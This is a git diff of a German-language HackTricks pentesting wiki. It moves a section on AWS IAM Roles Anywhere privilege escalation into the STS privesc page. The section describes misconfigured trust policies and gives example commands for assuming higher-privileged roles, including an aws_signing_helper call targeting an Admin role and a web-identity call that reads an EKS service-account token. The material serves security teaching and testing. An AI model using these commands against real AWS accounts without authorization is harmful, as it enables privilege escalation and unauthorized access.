diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md deleted file mode 100644 index 2967d7219..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md +++ /dev/null @@ -1,42 +0,0 @@ -# AWS - IAM Roles Anywhere Privesc - -{{#include ../../../../banners/hacktricks-training.md}} - -AWS IAM RolesAnywhere ermöglicht es Workloads außerhalb von AWS, IAM-Rollen mithilfe von X.509-Zertifikaten zu übernehmen. Wenn jedoch Vertrauensrichtlinien nicht ordnungsgemäß festgelegt sind, können sie für Privilegieneskalation missbraucht werden. - -Diese Richtlinie weist keine Einschränkungen auf, welche Vertrauensanker oder Zertifikatsattribute erlaubt sind. Infolgedessen kann jedes Zertifikat, das mit einem beliebigen Vertrauensanker im Konto verknüpft ist, verwendet werden, um diese Rolle zu übernehmen. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Um Privilegien zu eskalieren, ist der `aws_signing_helper` erforderlich von https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Dann kann der Angreifer mit einem gültigen Zertifikat in die Rolle mit höheren Rechten wechseln. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -### Referenzen - -- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/ - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index dbfbd327c..a6381509e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -8,7 +8,7 @@ Jede Rolle wird mit einer **Rollenvertrauensrichtlinie** erstellt, diese Richtlinie gibt an, **wer die erstellte Rolle übernehmen kann**. Wenn eine Rolle aus dem **gleichen Konto** angibt, dass ein Konto sie übernehmen kann, bedeutet das, dass das Konto Zugriff auf die Rolle (und potenziell **privesc**) haben wird. -Zum Beispiel zeigt die folgende Rollenvertrauensrichtlinie an, dass jeder sie übernehmen kann, daher wird **jeder Benutzer in der Lage sein, privesc** zu den mit dieser Rolle verbundenen Berechtigungen zu erhalten. +Zum Beispiel zeigt die folgende Rollenvertrauensrichtlinie an, dass jeder sie übernehmen kann, daher wird **jeder Benutzer in der Lage sein, privesc** zu den mit dieser Rolle verbundenen Berechtigungen zu gelangen. ```json { "Version": "2012-10-17", @@ -23,19 +23,19 @@ Zum Beispiel zeigt die folgende Rollenvertrauensrichtlinie an, dass jeder sie ü ] } ``` -Sie können eine Rolle übernehmen, indem Sie Folgendes ausführen: +Sie können eine Rolle übernehmen, die ausgeführt wird: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` **Potenzielle Auswirkungen:** Privesc auf die Rolle. > [!CAUTION] -> Beachten Sie, dass in diesem Fall die Berechtigung `sts:AssumeRole` **in der Rolle angegeben werden muss, die missbraucht werden soll** und nicht in einer Richtlinie, die dem Angreifer gehört.\ +> Beachten Sie, dass in diesem Fall die Berechtigung `sts:AssumeRole` **in der Rolle angegeben werden muss, die ausgenutzt werden soll** und nicht in einer Richtlinie, die dem Angreifer gehört.\ > Mit einer Ausnahme, um **eine Rolle aus einem anderen Konto zu übernehmen**, muss das Angreiferkonto **auch** die **`sts:AssumeRole`** über die Rolle haben. ### **`sts:GetFederationToken`** -Mit dieser Berechtigung ist es möglich, Anmeldeinformationen zu generieren, um sich als beliebiger Benutzer auszugeben: +Mit dieser Berechtigung ist es möglich, Anmeldeinformationen zu generieren, um jeden Benutzer zu impersonifizieren: ```bash aws sts get-federation-token --name ``` @@ -97,10 +97,49 @@ Zum Beispiel, wenn ein **EKS-Dienstkonto** in der Lage sein sollte, **eine IAM-R aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` -### Missbrauch von Föderationen +### Federation Abuse {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} +### IAM Roles Anywhere Privesc + +AWS IAM RolesAnywhere ermöglicht es Workloads außerhalb von AWS, IAM-Rollen mithilfe von X.509-Zertifikaten zu übernehmen. Wenn die Vertrauensrichtlinien jedoch nicht ordnungsgemäß festgelegt sind, können sie für die Eskalation von Rechten missbraucht werden. + +Diese Richtlinie weist keine Einschränkungen auf, welche Vertrauensanker oder Zertifikatsattribute erlaubt sind. Infolgedessen kann jedes Zertifikat, das mit einem beliebigen Vertrauensanker im Konto verknüpft ist, verwendet werden, um diese Rolle zu übernehmen. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Um Privilegien zu eskalieren, wird der `aws_signing_helper` von https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html benötigt. + +Anschließend kann der Angreifer mit einem gültigen Zertifikat in die Rolle mit höheren Rechten wechseln. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +### Referenzen + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + {{#include ../../../banners/hacktricks-training.md}}